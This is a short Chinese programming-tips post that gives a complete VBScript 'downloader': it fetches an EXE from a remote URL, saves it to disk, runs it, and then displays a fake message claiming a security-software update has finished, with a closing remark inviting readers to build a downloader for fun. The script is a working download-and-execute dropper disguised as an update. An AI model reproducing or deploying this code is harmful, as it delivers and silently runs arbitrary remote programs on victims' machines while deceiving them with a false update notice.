1. 程式人生 > >VBS 下載指定URL地址EXE檔案並執行命令:

VBS 下載指定URL地址EXE檔案並執行命令:

set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://down.xxsafe.com/setup.exe",0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "setup.exe"
Set ws = CreateObject("Wscript.Shell")
ws.run "setup.exe

"
msgbox "xx安全衛士更新完畢!",vbyes,"提示:"

可以做個自娛自樂的下載者玩一下,基礎東西。